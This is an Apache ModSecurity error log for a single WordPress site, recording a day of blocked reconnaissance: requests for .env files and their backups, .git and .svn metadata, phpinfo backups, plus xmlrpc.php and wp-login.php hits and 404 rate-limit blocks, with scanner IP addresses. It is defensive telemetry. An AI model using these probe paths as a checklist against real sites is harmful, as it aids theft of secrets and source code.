[Tue Nov 25 10:57:30.226454 2025] [:error] [pid 28609:tid 28628] [client 18.143.174.17:47708] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.tmp"] [unique_id "aSUbGiGGdT-nZJVs3x1JtgAAAYo"]
[Tue Nov 25 10:57:30.620987 2025] [:error] [pid 14076:tid 14090] [client 18.143.174.17:47710] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.dist"] [unique_id "aSUbGnsB4Gz6Qw-pvBtdsgAAAAk"]
[Tue Nov 25 10:57:31.013211 2025] [:error] [pid 14688:tid 14701] [client 18.143.174.17:47720] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/admin/.env"] [unique_id "aSUbG29vYrBoEsiDniw3-wAAAQs"]
[Tue Nov 25 10:57:31.407603 2025] [:error] [pid 28609:tid 28619] [client 18.143.174.17:47732] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/admin/.env.save"] [unique_id "aSUbGyGGdT-nZJVs3x1JtwAAAYE"]
[Tue Nov 25 10:57:31.802283 2025] [:error] [pid 28609:tid 28635] [client 18.143.174.17:47744] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/admin/.env.bak"] [unique_id "aSUbGyGGdT-nZJVs3x1JuAAAAZE"]
[Tue Nov 25 10:57:32.193059 2025] [:error] [pid 14688:tid 14706] [client 18.143.174.17:47748] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/admin/.env.old"] [unique_id "aSUbHG9vYrBoEsiDniw3_gAAARA"]
[Tue Nov 25 10:57:32.596106 2025] [:error] [pid 14076:tid 14099] [client 18.143.174.17:47756] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/.env"] [unique_id "aSUbHHsB4Gz6Qw-pvBtdtgAAABI"]
[Tue Nov 25 10:57:32.986796 2025] [:error] [pid 14688:tid 14710] [client 18.143.174.17:47768] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/.env.save"] [unique_id "aSUbHG9vYrBoEsiDniw4AAAAARQ"]
[Tue Nov 25 10:57:33.380327 2025] [:error] [pid 28842:tid 28992] [client 18.143.174.17:47774] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/.env.bak"] [unique_id "aSUbHdNmoaPf6T4-6C3qnAAAA0I"]
[Tue Nov 25 10:57:33.774737 2025] [:error] [pid 28842:tid 29000] [client 18.143.174.17:47782] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/.env.old"] [unique_id "aSUbHdNmoaPf6T4-6C3qngAAA0o"]
[Tue Nov 25 10:57:34.171425 2025] [:error] [pid 14077:tid 14125] [client 18.143.174.17:47792] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/app/.env"] [unique_id "aSUbHhG9n7UHEkwDTyjCAAAAAE8"]
[Tue Nov 25 10:57:34.569069 2025] [:error] [pid 14076:tid 14097] [client 18.143.174.17:47794] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/app/.env.save"] [unique_id "aSUbHnsB4Gz6Qw-pvBtdugAAABA"]
[Tue Nov 25 10:57:34.967216 2025] [:error] [pid 28609:tid 28639] [client 18.143.174.17:47800] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/app/.env.bak"] [unique_id "aSUbHiGGdT-nZJVs3x1JugAAAZU"]
[Tue Nov 25 10:57:35.370816 2025] [:error] [pid 28609:tid 28633] [client 18.143.174.17:47808] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/app/.env.old"] [unique_id "aSUbHyGGdT-nZJVs3x1JuwAAAY8"]
[Tue Nov 25 10:57:35.767489 2025] [:error] [pid 14688:tid 14691] [client 18.143.174.17:47812] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/config/.env"] [unique_id "aSUbH29vYrBoEsiDniw4AwAAAQE"]
[Tue Nov 25 10:57:36.162493 2025] [:error] [pid 28740:tid 28800] [client 18.143.174.17:57842] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/config/.env.save"] [unique_id "aSUbIFppQCoYxWW6V0X1lwAAAkk"]
[Tue Nov 25 10:57:36.559748 2025] [:error] [pid 28739:tid 28776] [client 18.143.174.17:57852] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/config/.env.bak"] [unique_id "aSUbIBxGpKmlkG4FexQDIgAAAg4"]
[Tue Nov 25 10:57:36.955910 2025] [:error] [pid 28740:tid 28799] [client 18.143.174.17:57854] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/config/.env.old"] [unique_id "aSUbIFppQCoYxWW6V0X1mQAAAkg"]
[Tue Nov 25 10:57:37.350802 2025] [:error] [pid 14688:tid 14696] [client 18.143.174.17:57870] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/src/.env"] [unique_id "aSUbIW9vYrBoEsiDniw4BAAAAQY"]
[Tue Nov 25 10:57:37.744343 2025] [:error] [pid 14168:tid 14188] [client 18.143.174.17:57878] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/src/.env.save"] [unique_id "aSUbIfR-ZDU0QEgAIIvMLQAAANE"]
[Tue Nov 25 10:57:38.139398 2025] [:error] [pid 28609:tid 28631] [client 18.143.174.17:57892] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/src/.env.bak"] [unique_id "aSUbIiGGdT-nZJVs3x1JvQAAAY0"]
[Tue Nov 25 10:57:38.533863 2025] [:error] [pid 28609:tid 28637] [client 18.143.174.17:57900] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/src/.env.old"] [unique_id "aSUbIiGGdT-nZJVs3x1JvgAAAZM"]
[Tue Nov 25 11:05:03.573783 2025] [:error] [pid 14076:tid 14102] [client 18.143.174.17:50630] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/test.php.bak"] [unique_id "aSUc33sB4Gz6Qw-pvBtgqwAAABU"]
[Tue Nov 25 11:05:03.968080 2025] [:error] [pid 14076:tid 14092] [client 18.143.174.17:50636] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/phpinfo.php.old"] [unique_id "aSUc33sB4Gz6Qw-pvBtgrwAAAAs"]
[Tue Nov 25 11:05:04.367676 2025] [:error] [pid 28740:tid 28796] [client 18.143.174.17:50644] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/info.php.old"] [unique_id "aSUc4FppQCoYxWW6V0X2qQAAAkU"]
[Tue Nov 25 11:05:04.763331 2025] [:error] [pid 28739:tid 28780] [client 18.143.174.17:50650] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/php_info.php.old"] [unique_id "aSUc4BxGpKmlkG4FexQElwAAAhI"]
[Tue Nov 25 11:05:05.156615 2025] [:error] [pid 14076:tid 14093] [client 18.143.174.17:50664] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/test.php.old"] [unique_id "aSUc4XsB4Gz6Qw-pvBtgsAAAAAw"]
[Tue Nov 25 11:05:23.789417 2025] [:error] [pid 14078:tid 14138] [client 18.143.174.17:48080] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".php.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/phpinfo.php.backup"] [unique_id "aSUc89VXYbb0ii_rVoKoCgAAAIE"]
[Tue Nov 25 11:05:24.187199 2025] [:error] [pid 14077:tid 14118] [client 18.143.174.17:48090] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".php.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/info.php.backup"] [unique_id "aSUc9BG9n7UHEkwDTyjDgwAAAEg"]
[Tue Nov 25 11:05:24.581562 2025] [:error] [pid 28842:tid 28997] [client 18.143.174.17:48098] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".php.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/php_info.php.backup"] [unique_id "aSUc9NNmoaPf6T4-6C3sZgAAA0c"]
[Tue Nov 25 11:05:24.976085 2025] [:error] [pid 14076:tid 14098] [client 18.143.174.17:48100] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".php.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/test.php.backup"] [unique_id "aSUc9HsB4Gz6Qw-pvBtg1wAAABE"]
[Tue Nov 25 11:38:12.979016 2025] [:error] [pid 28739:tid 28765] [client 46.105.76.214:29583] [client 46.105.76.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.105.76.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSUkpBxGpKmlkG4FexQMBgAAAgM"]
[Tue Nov 25 12:36:51.569451 2025] [:error] [pid 28740:tid 28813] [client 35.187.115.6:51668] [client 35.187.115.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.187.115.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSUyY1ppQCoYxWW6V0UMpwAAAlY"]
[Tue Nov 25 13:34:44.151880 2025] [:error] [pid 28836:tid 28986] [client 62.84.186.201:53524] [client 62.84.186.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.84.186.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSU_9JwNRsoxcLQGkTdrVwAAAs8"]
[Tue Nov 25 14:33:58.630294 2025] [:error] [pid 28609:tid 28633] [client 161.35.77.74:49046] [client 161.35.77.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.35.77.74, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSVN1iGGdT-nZJVs3x1_KAAAAY8"]
[Tue Nov 25 14:59:13.592160 2025] [autoindex:error] [pid 28842:tid 29024] [client 159.203.172.143:50866] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Nov 25 15:16:56.023464 2025] [:error] [pid 14076:tid 14093] [client 108.167.133.13:28466] [client 108.167.133.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 108.167.133.13, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSVX6HsB4Gz6Qw-pvBvScAAAAAw"]
[Tue Nov 25 15:16:58.287174 2025] [:error] [pid 28739:tid 28770] [client 108.167.133.13:28470] [client 108.167.133.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 108.167.133.13, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSVX6hxGpKmlkG4FexQ_oAAAAgg"]
[Tue Nov 25 15:35:18.938075 2025] [:error] [pid 28842:tid 28995] [client 217.154.5.38:43164] [client 217.154.5.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.5.38, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSVcNtNmoaPf6T4-6C1CDQAAA0U"]
[Tue Nov 25 16:19:50.543750 2025] [:error] [pid 14168:tid 14190] [client 43.135.145.77:42522] [client 43.135.145.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aSVmpvR-ZDU0QEgAIIs8VgAAANM"]
[Tue Nov 25 16:21:21.095456 2025] [:error] [pid 28842:tid 29018] [client 162.240.28.193:58476] [client 162.240.28.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.240.28.193, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSVnAdNmoaPf6T4-6C1QBgAAA1E"]
[Tue Nov 25 16:21:23.307672 2025] [:error] [pid 14077:tid 14111] [client 162.240.28.193:58832] [client 162.240.28.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.240.28.193, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSVnAxG9n7UHEkwDTyg6-AAAAEE"]
[Tue Nov 25 16:38:19.988844 2025] [:error] [pid 28842:tid 29000] [client 62.210.64.72:39542] [client 62.210.64.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.210.64.72, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSVq-9NmoaPf6T4-6C1W0AAAA0o"]
[Tue Nov 25 17:34:21.076240 2025] [:error] [pid 14078:tid 14137] [client 104.207.58.13:30423] [client 104.207.58.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/HEAD"] [unique_id "aSV4HdVXYbb0ii_rVoIhRgAAAIA"]
[Tue Nov 25 17:34:24.936008 2025] [:error] [pid 28740:tid 28802] [client 216.26.228.99:13907] [client 216.26.228.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aSV4IFppQCoYxWW6V0VZ4AAAAks"]
[Tue Nov 25 17:34:26.189199 2025] [:error] [pid 28740:tid 28813] [client 154.213.163.18:48213] [client 154.213.163.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.svn/wc.db"] [unique_id "aSV4IlppQCoYxWW6V0VZ4gAAAlY"]
[Tue Nov 25 17:40:30.992069 2025] [:error] [pid 14168:tid 14181] [client 94.102.211.121:36938] [client 94.102.211.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.102.211.121, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSV5jvR-ZDU0QEgAIItMMQAAAMo"]
[Tue Nov 25 18:43:09.043578 2025] [:error] [pid 28609:tid 28634] [client 46.105.230.99:63965] [client 46.105.230.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.105.230.99, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSWIPSGGdT-nZJVs3x22lQAAAZA"]
[Tue Nov 25 18:53:15.597447 2025] [:error] [pid 28740:tid 28809] [client 138.199.60.187:55254] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aSWKm1ppQCoYxWW6V0Vy3QAAAlI"]
[Tue Nov 25 18:53:15.853623 2025] [:error] [pid 28739:tid 28781] [client 138.199.60.187:55514] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aSWKmxxGpKmlkG4FexRwdgAAAhM"]
[Tue Nov 25 18:53:17.136613 2025] [:error] [pid 14076:tid 14091] [client 138.199.60.187:56714] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aSWKnXsB4Gz6Qw-pvBsKegAAAAo"]
[Tue Nov 25 18:53:17.376862 2025] [:error] [pid 14078:tid 14156] [client 138.199.60.187:56966] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aSWKndVXYbb0ii_rVoI4GQAAAJM"]
[Tue Nov 25 18:53:17.648491 2025] [:error] [pid 28836:tid 29014] [client 138.199.60.187:57126] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aSWKnZwNRsoxcLQGkTe33wAAAtg"]
[Tue Nov 25 19:03:26.628787 2025] [:error] [pid 28739:tid 28774] [client 172.64.223.179:11584] [client 172.64.223.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aSWM_hxGpKmlkG4FexRzAAAAAgw"]
[Tue Nov 25 20:02:33.845635 2025] [:error] [pid 28740:tid 28799] [client 20.196.125.130:30670] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aSWa2VppQCoYxWW6V0WLdAAAAkg"]
